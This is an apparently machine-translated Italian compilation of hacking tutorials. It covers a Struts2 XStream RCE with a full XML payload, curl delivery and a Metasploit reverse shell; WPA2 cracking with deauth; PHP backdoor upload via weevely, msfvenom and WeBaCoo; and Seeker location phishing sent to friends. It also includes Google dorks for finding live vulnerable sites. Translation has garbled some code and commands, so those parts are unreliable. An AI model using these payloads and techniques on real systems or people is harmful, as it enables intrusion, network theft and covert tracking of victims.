Congratulazioni! Hai completato con successo tutte le impostazioni e la configurazione di base di Tomcat.

Sfruttamento del plug-in Apache Java Struts2 Rest – CVE-  –9805

   

Oggi vi mostreremo lo sfruttamento del codice remoto di Apache Struts2 Rest Plugin con XML Exploit. Apache ha pubblicato questo avviso su questa vulnerabilità RCE entro il 5 settembre    sotto CVE-  -9805 . Il plug-in REST utilizza un XStreamHandler con un'istanza di XStream per la deserializzazione senza alcun filtro di tipo e questo può portare all'esecuzione di codice remoto durante la deserializzazione dei payload XML.

Questa vulnerabilità è stata risolta nelle versioni Struts 2.3.34 e 2.5.13 . A causa della natura grave di questa vulnerabilità, ti consigliamo di aggiornare la versione di struts. Lo sfruttamento riuscito di questa vulnerabilità potrebbe portare a RCE (Remote Code Execution), assumendo il pieno controllo del server e un tentativo fallito può persino portare a un attacco Denial of Service (DOS).

Come sfruttare?

Il primo passo è distribuire l'applicazione vulnerabile sotto Tomcat manager che puoi scaricare direttamente da  mvnrepository.com della versione 2.5.10 (file war).

Accedi al tuo pannello GUI di Tomcat Manager e carica il tuo file .war nella scheda  War File To Deploy come mostrato di seguito:

Non appena distribuisci il file War, puoi vedere la tua applicazione in esecuzione con il percorso /struts2-rest-showcase-2.5.10/orders.xhtml in esecuzione sulla porta 8080.

Una volta eseguito questo, è il momento di testare l'exploit che abbiamo nel file XML.

Informazioni sull'exploit XML –

La vulnerabilità può essere attivata inviando un payload POST XML dannoso con l'intestazione " Content-Type " impostata su " application/xml ". Nel codice seguente, è necessario modificare la riga n. 14 con il comando di sistema ( Ping -n 2 <your-ip> ) come mostrato di seguito:

Codice exploit XML: ( link Pastebin )

<mappa>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”>
<dataHandler>
<dataSource class=”com .sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”>
<is class=”javax.crypto.CipherInputStream”>
<cipher class=”javax.crypto.NullCipher”>
<serviceIterator class=”javax.imageio .spi.FilterIterator”>
<iter class=”javax.imageio.spi.FilterIterator”>
<iter class=”java.util.Collections$EmptyIterator”/>
<next class=”java.lang.ProcessBuilder”>
<comando>
<string>ping</string><string>-n</string><string>2</string><stringa>192.168.20.128</string></comando>
</next>
</iter>
<filter class=”javax.imageio.ImageIO$ContainsFilter”>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
</filter >
<next></next>
</serviceIterator>
<lock/>
</cipher>
<input class=”java.lang.ProcessBuilder$NullInputStream”/>
<ibuffer/>
</is>
</dataSource>
</dataHandler >
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString riferimento=”../jdk.nashorn.internal.objects.NativeString”/>
</entry>
</mappa>

Questa vulnerabilità con il giusto payload consente l'esecuzione di codice sul server. Il codice exploit pubblicamente disponibile eseguito è asincrono e non blocca il thread padre in quanto utilizza la classe java.lang.ProcessBuilder . Quindi l'esecuzione di comandi come (ping -n 10 192.168.20.128) sarà sempre utile.

Ora dall'altra parte, avvia  tcpdump con  il filtro icmp in modo da poter acquisire tutte le richieste PING sul tuo server.

Comando: tcpdump -nni eth0 icmp

Dove, eth0 è l'interfaccia Ethernet.

Per eseguire l'exploit, devi inviare il tuo payload creato in XML all'applicazione vulnerabile con Curl Command mentre simultaneamente tcpdump è attivamente in esecuzione per ascoltare tutti i pacchetti ICMP in arrivo.

Per inviare il payload, il comando è:

Comando: curl -H "Tipo di contenuto: applicazione/xml" -d @exploit.xml http://target-ip:8080/struts2-rest-showcase-2.5.10/

Non appena esegui il comando CURL , controlla l'output di tcpdump dove puoi vedere che hai ricevuto 2 richieste di ICMP inviate da XML Crafted Payload contro l'applicazione Struts2.

Per ottenere una connessione shell inversa, puoi anche utilizzare Metasploit Framework, uno degli strumenti di sfruttamento e test di penetrazione più popolari.

Per elencare tutti gli exploit disponibili relativi a struts, digitare " search struts " all'interno della console del framework metasploit.

Per sfruttare questa vulnerabilità del plug-in struts2 rest, il nome corretto dell'exploit è struts2_rest_xstream che puoi persino scaricare direttamente dal repository metasploit .

Ora carica il modulo eseguendo " use exploit/multi/http/struts2_res_xstream " come mostrato di seguito:

Possiamo vedere che il modulo è caricato correttamente e impostare i seguenti parametri su questo modulo:

set RHOST <your-target-ip>
set RPORT 8080
set TARGETURI /struts2-rest-showcase-2.5.10/orders/3
set TARGET 2

Qui abbiamo utilizzato TARGET 2 perché l'app vulnerabile che abbiamo distribuito nella macchina Linux in cui il server Tomcat è in esecuzione su 192.168.20.128:8080

Inoltre, è necessario impostare il payload " set payload linux/x86/shell_reverse_tcp " in modo da poter eseguire direttamente i comandi bash tramite connessione shell TCP inversa.

Apache Struts da 2.5 a 2.5.12 che utilizzano REST sono vulnerabili a questo attacco di esecuzione di codice in modalità remota.

Sfruttamento di WPA/WPA2-PSK con WiFiBroot – Kali Linux        

   

In questi giorni, le reti wireless sono ovunque. Con gli utenti in movimento come mai prima d'ora, non è possibile dover rimanere fermi a causa della necessità di collegare un cavo Ethernet per ottenere l'accesso a Internet. Per questa comodità c'è un prezzo da pagare; le connessioni wireless  non sono sicure come le connessioni Ethernet. In questo tutorial, esploreremo un nuovo metodo per violare le reti WPA/WPA2 con uno script python open source wifibroot.

Leggi anche: Crack WPA2-PSK con Aircrack (metodo del dizionario)

WifiBroot è uno strumento completo che ti aiuta a violare le reti wireless basate su WPA e WPA2-PSK ed è ancora in fase di sviluppo.

Caratteristiche di WifiBroot –

Installazione di WifiBroot –

Puoi utilizzare lo strumento WifiBroot con l'aiuto di git digitando il seguente comando:

Comando: git clone https://github.com/hash3liZer/WiFiBroot

WiFiBroot dipende fortemente da scapy . Quindi, avresti bisogno di scapy installato. Quasi, ogni altra libreria verrebbe probabilmente installata sul tuo sistema. Per installare scapy, puoi usare il seguente comando:

Comando: sudo pip install scapy

Prima di eseguire WifiBroot, assicurati che la tua interfaccia wireless (wlan0) sia in modalità Monitor (wlan0mon) che puoi facilmente eseguire con il comando airmon-ng start <wireless interface> . Quindi, nel nostro caso, è wlan0mon che useremo in ulteriori comandi.

Per eseguire wifibroot, digita il seguente comando:

Comando: python wifibroot.py -i wlan0mon –verbose -d /usr/share/wordlists/rockyou.txt

Qui,

Per maggiori informazioni, puoi digitare direttamente " python wifibroot –help "

Se nel caso non hai menzionato alcun percorso del file del dizionario, questo strumento ha il proprio file del dizionario integrato situato in /dicts/list.txt che funziona in modalità normale.

Quindi questo strumento eseguirà automaticamente la scansione di tutte le reti wireless vicine e stamperà tutte le informazioni richieste come ESSID (nome della rete wireless), BSSID (indirizzo Mac della rete wireless), numero di canale (da 1 a 13), tipo di crittografia (WEP, WPA o WPA2) e PWR (In dbm).

In base alla tua scelta, (premi CTRL+C per interrompere il monitoraggio) e seleziona semplicemente la rete wireless dall'elenco che desideri violare come mostrato di seguito:

Quindi qui, abbiamo selezionato (1) il cui ESSID è "      " e BSSID è "0E:9D:92:F1:CE:22".

Successivamente, cercherà automaticamente tutti i client connessi per la generazione dell'handshake e lo script ascolterà per 20 secondi predefiniti che puoi impostare ulteriormente l'opzione di timeout per l'ascolto sui client con -t <value> .

E la cosa migliore di WifiBroot è che lo script organizzerà automaticamente tutti i client connessi in base all'intervallo riportato dall'interfaccia, il che aumenta effettivamente le possibilità di generare l'handshake in meno tempo.

Per le strutture di ricerca, la modalità dettagliata ti mostrerà i pacchetti live non appena vengono catturati e stamperà l'hexdump degli hash calcolati. Gli hash includeranno PMK (Pairwise Master Key) , PTK (Pairwise Transient Key) e MIC (Message Integrity Code) .

Per decifrare la password, c'è un dizionario integrato nella cartella dicts  (come già discusso) che contiene alcune delle password più stupide. In aggiunta a ciò, wifibroot controlla anche le password predefinite che aumentano la sua credibilità nel trovare l'hash giusto.

A questo punto, puoi fornire il tuo dizionario o passare una stringa separata da virgole all'argomento -p come  -p "password1,password2,password3".

Guarda lo screenshot qui sotto:

Non appena identifica tutti i client connessi, invierà automaticamente il segnale deauth a tutti i client uno per uno fino a quando non genera l'handshake di successo. Dopo aver generato con successo l'handshake , lo script proverà automaticamente a eseguire la forza bruta in base al valore del dizionario (fornito nel primo passaggio) e ti fornirà la password in formato testo in chiaro insieme ad alcuni valori hash calcolati (PMK, KCK e MIC) come mostrato di seguito:

Tutti gli handshake per una particolare rete wireless verranno archiviati in una directory separata che eliminerà il requisito per la generazione di handshake per tentativi futuri, come mostrato di seguito:

Sfruttamento del caricamento di file e sua prevenzione – Guida dettagliata        

   

Come tutti sapete, il controllo del caricamento dei file è sempre a grave rischio per gli sviluppatori perché ci sono N modi per aggirare questo controllo e un utente malintenzionato può facilmente caricare qualsiasi file dannoso sul server. Una volta che il file dannoso è stato caricato sul server, un utente malintenzionato può facilmente ottenere il controllo dell'intero server.

Per descrivere l'intero processo, lo abbiamo diviso in 4 parti:

1. Generazione della backdoor (shell PHP)

Questo è il primo passaggio, in cui è necessario generare un file PHP dannoso chiamato shell che è necessario caricare in un sito Web tramite il controllo del caricamento del file. In Internet, puoi trovare così tante shell backdoor ma fuori da quella weevely c'è la nostra shell backdoor PHP preferita che ti dà il controllo del server di destinazione.

Inoltre, la dimensione della shell di Weevely è inferiore a Kbs, significa che puoi caricarla ovunque e puoi facilmente aggirare il limite di dimensione del file.

Weevely codifica sempre il payload con una frase chiave, significa che nessun altro può usarlo per accedere o hackerare il sistema di destinazione.

Per generare una shell, devi solo digitare:

Comando: genera weevely <password> <percorso>

Inoltre, puoi anche generare un payload con msfvenom che genererà un payload bind PHP Meterpreter. Msfvenom è lo strumento di fatto in Metasploit Framework per creare/codificare vari payload.

Per generare un payload utilizzando Msfvenom, digita il seguente comando:

Comando: msfvenom -p php/meterpreter/bind_tcp LPORT=4444 LHOST=192.168.169.137 > /root/shell1.php

2. Carica la Shell

Dopo aver creato la shell in entrambi i modi (Weevely e Msfvenom), il passaggio successivo è caricare il file dannoso (shell.php e shell1.php) in un server. Non ti consigliamo di testarlo con alcuni siti Web live, ma puoi utilizzare una semplice applicazione Web vulnerabile chiamata DVWA (Damm Vulnerable Web Application) che è un progetto di applicazione Web vulnerabile open source.

Trovare applicazioni PHP vulnerabili da Internet non è di nuovo un compito difficile, puoi semplicemente usare alcuni Google Dorks come ( inurl:page.php?id= ) o ( inurl:adminlogin.aspx ) e puoi provare a bypassare con SQL Injection come le vulnerabilità .

Quindi abbiamo ospitato questa applicazione DVWA in una macchina Windows 10 in cui è già installato XAMPP il cui collegamento è  http://192.168.1.3/dvwa/index.php

Il nome utente e la password predefiniti di questo DVWA sono admin:password

Basta scansionare l'intera applicazione e sarai in grado di trovare una pagina di caricamento file ( http://192.168.1.3/dvwa/vulnerabilities/upload/ ) dove puoi caricare qualsiasi file immagine.

Quindi, sulla base dei casi precedenti, abbiamo caricato con successo entrambe le shell dannose in quel server situato in ( shell.php e shell1.php )

3. Ottenere l'accesso

Questo è l'ultimo passaggio in cui dobbiamo stabilire una connessione permanente con quel server eseguendo il comando seguente:

Comando: weevely http://<your-target>/shell.php <password>

Se tutto va bene e la shell è stata eseguita correttamente sul server, sarai in grado di ricevere un prompt come mostrato di seguito:

Bingo!, ora puoi eseguire facilmente i comandi della tua shell e ottenere tutto rapidamente.

Nel caso di Metasploit Framework, è sufficiente configurare un payload del gestore che stabilirà una connessione con bind shell quando eseguito come mostrato di seguito:

Comandi:

usa exploit/multi/handler
imposta payload php/meterpreter/bind_tcp
imposta RHOST <target-ip>
imposta RPORT 4444
esegui

Non appena il file è stato eseguito tramite un browser web, si aprirà una sessione di Meterpreter. La scheda del browser continuerà a " caricare " la pagina, ma ora hai pieno accesso alla macchina! Puoi vedere l'output in questo modo:

Quindi puoi eseguire la shell della riga di comando sulla macchina della vittima tramite questa console Meterpreter:

4. Prevenzione caricamento file

Essere in grado di accettare caricamenti dai tuoi utenti è una di quelle funzioni sorprendentemente essenziali che si ripresentano in molte applicazioni. Gli esempi sono ovunque: nelle bacheche le persone sono spesso autorizzate a caricare allegati e avatar personalizzati, i sistemi di gestione dei contenuti consentono agli amministratori di caricare immagini per i post e gli script di gestione dei siti Web utilizzano i caricamenti per dare agli utenti la possibilità di modificare e aggiungere nuovi file.

La maggior parte delle persone comprende la sintassi piuttosto rapidamente e in breve tempo sarà in grado di produrre uno script che funzioni utilizzando tutorial, riferimenti, libri e forum di assistenza. Il problema è che la maggior parte delle persone dimentica uno degli aspetti più importanti che bisogna considerare quando si scrivono applicazioni PHP.

In caso di caricamento di file, ecco alcuni controlli di sicurezza:

Ci sono ancora una serie di cose da considerare quando si implementa una funzione di caricamento file:

1. Negazione del servizio. Gli utenti potrebbero essere in grado di caricare molti file di grandi dimensioni e consumare tutto lo spazio disponibile su disco. Il progettista dell'applicazione potrebbe voler implementare un limite alla dimensione e al numero di file che un utente può caricare in un determinato periodo.

2. Prestazioni. Il visualizzatore di file potrebbe rappresentare un collo di bottiglia delle prestazioni se i file caricati vengono visualizzati spesso. Se abbiamo bisogno di servire i file il più velocemente possibile, un approccio alternativo è impostare un secondo server web su un host diverso, copiare i file caricati su quel server e servirli direttamente da lì.

Il secondo server deve essere statico, ovvero dovrebbe servire i file così come sono, senza tentare di eseguirli come PHP o qualsiasi altro tipo di eseguibile. Un altro approccio per migliorare le prestazioni per la fornitura di immagini è disporre di un proxy di memorizzazione nella cache davanti al server e assicurarsi che i file siano memorizzabili nella cache, emettendo intestazioni compatibili con il proxy.

3. Controllo degli accessi. Partiamo sempre dal presupposto che chiunque possa visualizzare i file caricati. Alcune applicazioni potrebbero richiedere che solo l'utente che ha caricato il file possa visualizzarlo. In questo caso la tabella dei caricamenti dovrebbe contenere le informazioni sulla proprietà del file e lo script di visualizzazione dovrebbe verificare se l'utente che richiede il file ne è il proprietario.

Conclusione:

Uno sviluppatore che implementa la funzionalità di caricamento file deve fare attenzione a non esporre l'applicazione ad attacchi. Nel peggiore dei casi, un caricamento di file mal implementato porta sempre a gravi vulnerabilità.

La salvaguardia più importante è mantenere i file caricati dove non è possibile accedervi direttamente dagli utenti tramite un URL diretto. Questo può essere fatto memorizzando i file caricati al di fuori della radice web o configurando il server web per negare l'accesso alla directory dei caricamenti.

Un'altra importante misura di sicurezza consiste nell'utilizzare nomi di file generati dal sistema anziché i nomi forniti dagli utenti durante l'archiviazione dei file nel file system. Ciò impedirà attacchi di inclusione di file locali e renderà impossibile qualsiasi tipo di manipolazione del nome del file da parte dell'utente. Controllare che il file sia un'immagine non è sufficiente per garantire che non sia uno script PHP.

È anche possibile creare file che sono immagini e script PHP allo stesso tempo. Il controllo delle estensioni dei nomi dei file caricati non fornisce una sicurezza a prova di proiettile, in particolare per le applicazioni che possono essere distribuite su un'ampia varietà di piattaforme e configurazioni di server. Le prestazioni possono essere un problema. Tuttavia è perfettamente possibile implementare il caricamento dei file in modo sicuro, pur continuando a fornire le prestazioni necessarie.

Trova la geolocalizzazione con Seeker ad alta precisione - Kali Linux        

   

Con l'aiuto di Seeker, che è uno script python open source, puoi facilmente trovare la geolocalizzazione di qualsiasi dispositivo con elevata precisione insieme a informazioni sul dispositivo come risoluzione, nome del sistema operativo, browser, IP pubblico, piattaforma ecc.

Seeker utilizza Ngrok (per il tunneling) e crea un falso server Web Apache (su SSL) che richiede l'autorizzazione alla posizione (Consenti o Nega) e se l'utente fa clic sul pulsante Consenti, è possibile ottenere tutte le informazioni relative alle informazioni sul dispositivo, informazioni sulla posizione ecc sullo schermo del terminale stesso.

Ecco l'elenco di tutti i parametri che otterrai:

Insieme alle informazioni sulla posizione possiamo anche ottenere informazioni sul dispositivo senza alcuna autorizzazione:

Questo strumento è puramente una prova di concetto ed è solo per scopi didattici, Seeker mostra quali dati un sito Web dannoso può raccogliere su di te e sui tuoi dispositivi e perché non dovresti fare clic su collegamenti casuali e consentire autorizzazioni critiche come Posizione ecc.

Installazione di Seeker –

Puoi installare facilmente il cercatore digitando " git clone https://github.com/thewhiteh4t/seeker.git " come mostrato di seguito:

Successivamente, vai alla directory del cercatore e dai l' autorizzazione 777 al file install.sh ed esegui install.sh digitando " ./install.sh "

A seconda della velocità di Internet, l'installazione richiede 1-2 minuti e installerà tutte le dipendenze richieste da questo strumento.

Per eseguire questo script, digita semplicemente  seeker dal terminale che ti mostra una schermata di benvenuto e avvierà immediatamente il servizio Ngrok con un URL generato in modo casuale.

Ora l'URL generato da ngrok ha tutti i segreti al suo interno. Per ottenere la posizione e altre informazioni utili, basta diffondere l'URL di ngrok alla cerchia dei tuoi amici con le tue tecniche di ingegneria sociale.

Non appena qualcuno fa clic su " https://random.ngrok.io/nearyou/ ", ti chiederà di consentire l'autorizzazione alla posizione. Quando un utente fa clic sul pulsante Consenti, il browser invierà automaticamente tutte le informazioni necessarie ai server ngrok.

Questo è l'output al tuo fianco con tutte le informazioni, ad esempio Informazioni sulla posizione e Informazioni sul dispositivo .

Analisi dei pacchetti di deautenticazione con Wireshark

   

Indipendentemente dal fatto che tu stia leggendo un'acquisizione di pacchetti da un file archiviato o da un'interfaccia live su un host Windows o Linux, le funzionalità di analisi di Wireshark sono quasi identiche. Wireshark offre molte funzioni utili per l'analisi del traffico wireless, inclusi dissettori di protocollo dettagliati, potenti filtri di visualizzazione, proprietà di visualizzazione personalizzabili e la capacità di decrittografare il traffico wireless.

Iniziamo analizzando i pacchetti/frame di deautenticazione con Wireshark .

La richiesta di deautenticazione può essere inviata con aireplay-ng o con lo strumento mdk3 . Ma assicurati che la tua scheda sia in ascolto sullo stesso canale su cui opera l'AP.

Per la deautenticazione con Aireplay-ng, il comando è:

Comando: aireplay-ng -00 -a <BSSID> wlan0mon

Dove,

L'invio di alcuni frame deauth è sufficiente per disconnettere con successo le stazioni in caso di esecuzione di test e acquisizione di strette di mano. Un lungo attacco impedirà al dispositivo di connettersi e alla fine l'utente del dispositivo dovrà connettersi manualmente da WiFi Manager.

Informazioni su Wireshark –

Wireshark è il miglior analizzatore di rete open source disponibile. È ricco di funzionalità paragonabili agli analizzatori di rete commerciali e, con una raccolta ampia e diversificata di autori, vengono continuamente sviluppati nuovi miglioramenti.

Wireshark è un componente stabile e utile per tutti i toolkit di rete e vengono sempre sviluppate nuove funzionalità e correzioni di bug. Sono stati fatti molti progressi dai primi giorni di Wireshark (quando si chiamava ancora Ethereal); l'applicazione ora funziona in modo comparabile (e per certi aspetti) migliore del software di sniffing commerciale.

Una delle funzionalità più potenti e utili di Wireshark è la possibilità di applicare filtri di visualizzazione inclusivi o esclusivi all'acquisizione di un pacchetto, al fine di restringere il numero di pacchetti a quelli contenenti dati utili. Quando si acquisisce il traffico su una rete wireless, è facile essere sopraffatti dall'enorme quantità di dati acquisiti.

Avvio di Wireshark –

Avvia Wireshark eseguendo l' eseguibile wireshark senza argomenti della riga di comando come utente root e avvia una nuova acquisizione di pacchetti premendo  Capture | Opzioni . Questo apre la finestra di dialogo delle opzioni " Wireshark Capture ". Scegli l'interfaccia wireless che è wlan0mon (nel nostro caso) che è stata messa in modalità monitor selezionando la casella a discesa etichettata " Interfaccia: " e quindi specifica le opzioni di acquisizione desiderate.

Per iniziare a sniffare il traffico wireless con Wireshark, la tua scheda wireless deve essere in modalità monitor. Wireshark non lo fa automaticamente; devi configurare manualmente la tua scheda wireless prima di iniziare la cattura dei pacchetti.

Successivamente, fare clic su Avvia per avviare l'acquisizione dei pacchetti. A questo punto, hai configurato il tuo sistema per acquisire il traffico wireless in modalità monitor. Il passaggio successivo consiste nell'utilizzare le informazioni contenute nei pacchetti che stai catturando. Fortunatamente, Wireshark dispone di sofisticati meccanismi di analisi che possono essere utilizzati per l'analisi del traffico wireless.

Utilizzando i filtri di visualizzazione, è possibile escludere il traffico non interessante per rivelare informazioni utili o cercare un insieme specifico di informazioni attraverso un'acquisizione di pacchetti di grandi dimensioni.

Per filtrare i frame di deautenticazione, il filtro è:

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0x0c)
OPPURE
(wlan.fc.type eq 0) && (wlan.fc.type_subtype eq 0x0c) OPPURE
(
wlan.fc.type eq 0 ) && (wlan.fc.type_subtype eq 12)

Qui, il campo tipo del deauth frame ha valore 0  mentre  il sottotipo ha valore 0x0c (12).

Il campo Tipo è incluso nell'intestazione del controllo del frame wlan.fc.type  e specifica il tipo di frame (dati, gestione o controllo) mentre il valore del campo Tipo/Sottotipo è incluso come meccanismo pratico per identificare in modo univoco la combinazione di tipo e sottotipo che è incluso nell'intestazione di questo frame. Questo campo è comunemente utilizzato nei filtri di visualizzazione.

Ad esempio, se il frame è un frame di gestione del tipo, il campo subtype indica il tipo di frame di gestione (ad esempio, un frame beacon, una richiesta di autenticazione o un avviso di dissociazione).

Quando si valuta l'acquisizione di un pacchetto wireless con Wireshark, è comune applicare filtri di visualizzazione per cercare o escludere determinati frame in base ai campi del tipo di frame e del sottotipo di frame IEEE 802.11.

Se stai tentando di escludere frame da un'acquisizione, è facile identificare i campi Tipo e Sottotipo navigando nella finestra Dettagli pacchetto e utilizzando i valori per il filtro. Se stai cercando un tipo di frame specifico, tuttavia, devi ricordare i valori Frame Type e  Subtype o il valore Combined Type/Subtype assegnato da Wireshark.

Invece di aspettarti di memorizzare gli oltre 35 valori per diversi tipi di frame, abbiamo elencato qui per un facile riferimento.

Tipo/sottotipo di frame

Filtro

Frame di gestione

wlan.fc.type eq 0

Frame di controllo

wlan.fc.type eq 1

Frame di dati

wlan.fc.type eq 2

Richiesta di associazione

wlan.fc.type_subtype eq 0

Risposta dell'Associazione

wlan.fc.type_subtype eq 1

Richiesta di riassociazione

wlan.fc.type_subtype eq 2

Risposta di riassociazione

wlan.fc.type_subtype eq 3

Richiesta sonda

wlan.fc.type_subtype eq 4

Risposta della sonda

wlan.fc.type_subtype eq 5

Faro

wlan.fc.type_subtype eq 8

Annuncio Indicazione traffico MAP (ATIM)

wlan.fc.type_subtype eq 9

Dissociare

wlan.fc.type_subtype eq 10

Autenticazione

wlan.fc.type_subtype eq 11

Deautenticazione

wlan.fc.type_subtype eq 12

Cornici d'azione

wlan.fc.type_subtype eq 13

Richiesta di riconoscimento del blocco (ACK).

wlan.fc.type_subtype eq 24

Blocca l'ACK

wlan.fc.type_subtype eq 25

Sondaggio di risparmio energetico

wlan.fc.type_subtype eq 26

Richiesta di inviare

wlan.fc.type_subtype eq 27

Cancella per inviare

wlan.fc.type_subtype eq 28

ACK

wlan.fc.type_subtype eq 29

Fine del periodo senza contesa

wlan.fc.type_subtype eq 30

Fine del periodo libero da contesa ACK

wlan.fc.type_subtype eq 31

Dati + ACK senza contesa

wlan.fc.type_subtype eq 33

Dati + Sondaggio senza contese

wlan.fc.type_subtype eq 34

Dati + ACK senza contese + Poll senza contese

wlan.fc.type_subtype eq 35

Dati NULLI

wlan.fc.type_subtype eq 36

Dati NULL + ACK senza contesa

wlan.fc.type_subtype eq 37

Dati NULL + Sondaggio libero da contesa

wlan.fc.type_subtype eq 38

Dati NULL + ACK senza contese + Poll senza contese

wlan.fc.type_subtype eq 39

Dati sulla qualità del servizio

wlan.fc.type_subtype eq 40

Dati QoS + ACK senza contesa

wlan.fc.type_subtype eq 41

Dati QoS + sondaggio senza contesa

wlan.fc.type_subtype eq 42

Dati QoS + ACK senza contese + Poll senza contese

wlan.fc.type_subtype eq 43

Dati QoS NULLI

wlan.fc.type_subtype eq 44

NULL QoS Data + Contention Free Poll

wlan.fc.type_subtype eq 46

NULL QoS Data + Contention Free ACK + Contention Free Poll

wlan.fc.type_subtype eq 47

Webacoo - Strumento per la generazione di backdoor Web [Kali Linux]

   

WeBaCoo (Web Backdoor Cookie) è un kit di script backdoor web, che mira a fornire una connessione invisibile simile a un terminale su HTTP tra client e server web. È uno strumento post sfruttamento in grado di mantenere l'accesso a un server Web compromesso. WeBaCoo è stato progettato per operare sotto il radar dei moderni AV, NIDS, IPS, firewall di rete e firewall applicativi aggiornati, dimostrando un meccanismo invisibile per eseguire comandi di sistema al server compromesso.

La comunicazione offuscata viene eseguita utilizzando i campi Cookie dell'intestazione HTTP sotto richieste HTTP client valide e le relative risposte del server web.

Per generare un file backdoor (PHP) con Webacoo, il comando è:

Comando: webacoo -g -o /root/backdoor.php

Ogni volta che un utente malintenzionato inserisce un codice dannoso su un determinato sito Web per accedere al sito Web o a un file su di esso, questo pezzo di codice è noto come backdoor shell.

Piuttosto che caricare questo  file backdoor.php su un server live, abbiamo configurato un ambiente Web virtuale con DVWA (Damm Vulnerable Web Application) in esecuzione sul nostro sistema localhost.

Qui dobbiamo caricare il file backdoor.php sopra generato sul server web, supponendo che il server non imponga alcuna restrizione. Tali restrizioni sono quelle che potrebbero specificare le estensioni richieste di un file caricato o il suo tipo di contenuto. Consentire file di tipo testo o immagine, ad esempio su un server Web senza restrizioni, consentirà a un file PHP dannoso caricato di aggirare ed eseguire come applicazione Web senza problemi.

Il livello di sicurezza del sito Web DVWA dovrebbe essere basso quando si fa clic su Sicurezza DVWA.

Il percorso della directory del file caricato verrà visualizzato dopo che il caricamento è andato a buon fine. Questo percorso è la posizione effettiva del file caricato.

Quindi il passaggio finale è connettere nuovamente il tuo file backdoor.php con lo strumento Webacoo digitando il seguente comando:

Comando: webacoo -t -u http://192.168.1.2/dvwa/hackable/uploads/backdoor.php

Qui con (:) due punti come prefisso, puoi facilmente controllare il tuo obiettivo eseguendo comandi a livello di sistema come elenco di directory, pwd, uname ecc.:

I file caricati rappresentano sempre un rischio significativo per le applicazioni. Il primo passaggio in molti attacchi consiste nell'ottenere del codice nel sistema da attaccare. Quindi l'attacco deve solo trovare un modo per eseguire il codice. L'utilizzo di un caricamento di file aiuta l'attaccante a compiere il primo passo.

L'obiettivo finale di un utente malintenzionato è ottenere del codice in un sito Web che desidera attaccare. Mirano a eseguire un codice dannoso all'interno del sito Web con qualsiasi mezzo.

Accesso automatico Utente root – Kali Linux (all'avvio del sistema)

   

Kali Linux è un arsenale di test di penetrazione basato su Linux che aiuta i professionisti della sicurezza a eseguire valutazioni in un ambiente puramente nativo dedicato all'hacking. Kali Linux è una distribuzione basata sulla distribuzione Debian GNU/Linux finalizzata all'uso di digital forensics e penetration testing. È il successore della popolare distribuzione BackTrack.

Per impostazione predefinita, ogni versione di Kali Linux utilizza Gnome Display Manager (GMD3) che mostra sempre una schermata di accesso all'avvio e root è l'unico account utente in Kali Linux che non presenta alcuna opzione per creare un altro utente durante l'installazione. Ma a volte potrebbe diventare noioso digitare la password di root ogni volta che accedi.

Praticare l'hacking etico utilizzando Kali Linux richiede di disporre di un desktop di qualità o di un laptop Kali Linux . Assicurati di averne uno che ti aiuti a lavorare senza problemi.

Questo tutorial ti mostrerà come apportare alcune semplici modifiche di riga per consentire all'utente di eseguire il login di root automatico all'avvio del sistema sia per gli ambienti GNOME che KDE.

Per GNOME Environments , modifica il seguente file e decommenta entrambe le righe come mostrato nell'immagine sottostante.

Comando: gedit /etc/gdm3/daemon.conf

[daemon]
# Abilitazione del login automatico
AutomaticLoginEnable = true
AutomaticLogin = root

Nel caso in cui tu abbia un altro utente, puoi modificare la terza riga e sostituire root con il tuo nome utente. ( Accesso automatico =        )

Assicurati di riavviare la macchina digitando init 6 o reboot .

Per KDE Environments , modifica il seguente file e aggiungi le seguenti righe alla fine del file.

Comando: gedit /etc/kde4/kdm/kdmrc

[X-:0-Core]
AllowRootLogin=true
AutoLoginAgain=true
AutoLoginDelay=0
AutoLoginEnable=true
AutoLoginLocked=false
AutoLoginUser=root
ClientLogFile=.xsession-errors

Come sempre , riavviare per confermare se l'accesso automatico dell'utente root funziona o meno.

10 fantastici comandi Netstat che devi conoscere

   

Netstat è davvero uno strumento molto trascurato per la risoluzione dei problemi di rete, quindi credo che sarebbe utile pubblicare tutti gli switch e le opzioni disponibili con NETSTAT .

Netstat visualizza le statistiche del protocollo e le connessioni di rete TCP/IP correnti.

Netstat può essere eseguito in qualsiasi versione di Windows/Linux aprendo una finestra di comando e utilizzando quanto segue:

Sintassi: netstat [-a] [-b] [-e] [-n] [-o] [-p protocollo] [-r] [-s] [-v] [intervallo]

Un altro motivo per cui riteniamo che Netstat sia uno strumento così utile è che può essere trovato su quasi tutti i computer per impostazione predefinita, dalle macchine Unix e Linux fino a Windows e Mac. Il fatto di non dover installare ed eseguire uno strumento diagnostico separato può essere un salvavita quando si ha a che fare con il PC di un cliente o con una macchina in quarantena.

Leggi anche: I 5 migliori comandi netstat utili su Windows

Questo strumento è molto importante e molto utile per gli amministratori di rete Linux e per gli amministratori di sistema per monitorare e risolvere i problemi relativi alla rete e determinare le prestazioni del traffico di rete. Questo articolo mostra l'utilizzo di fantastici comandi netstat con i loro esempi che possono essere utili nelle operazioni quotidiane.

Mostra connessioni TCP e UDP attive –

Comando: netstat -ntu

Mostra tutte le connessioni TCP/UDP attive –

Comando: netstat -antu

Mostra tutte le connessioni attive al server Web (ad es. solo porta 80)

Comando: netstat -antu | grep :80

Mostra tutte le connessioni attive al server Web esclusi gli IP personali (ad es. solo porta 80)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA

Mostra tutte le connessioni attive al server Web esclusi gli IP propri (ad es. solo porta 80) (solo formato IP:PORT)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}'

Qui, awk ha la capacità di eseguire l'estrazione dei dati sulla base della seguente sintassi:

(1) tcc

(2) 0

(3) 0

(4) 127.0.0.1:80

(5) 205.185.208.52:80

(6) STABILITO

Mostra tutte le connessioni attive al server Web esclusi gli IP personali (ad es. solo porta 80) (solo IP)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}' | taglia -d: -f1

Mostra tutte le connessioni attive al server Web esclusi gli IP propri (ad es. solo porta 80) (solo IP) (ordinati e univoci)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}' | taglia -d: -f1 | ordina | uniq -c

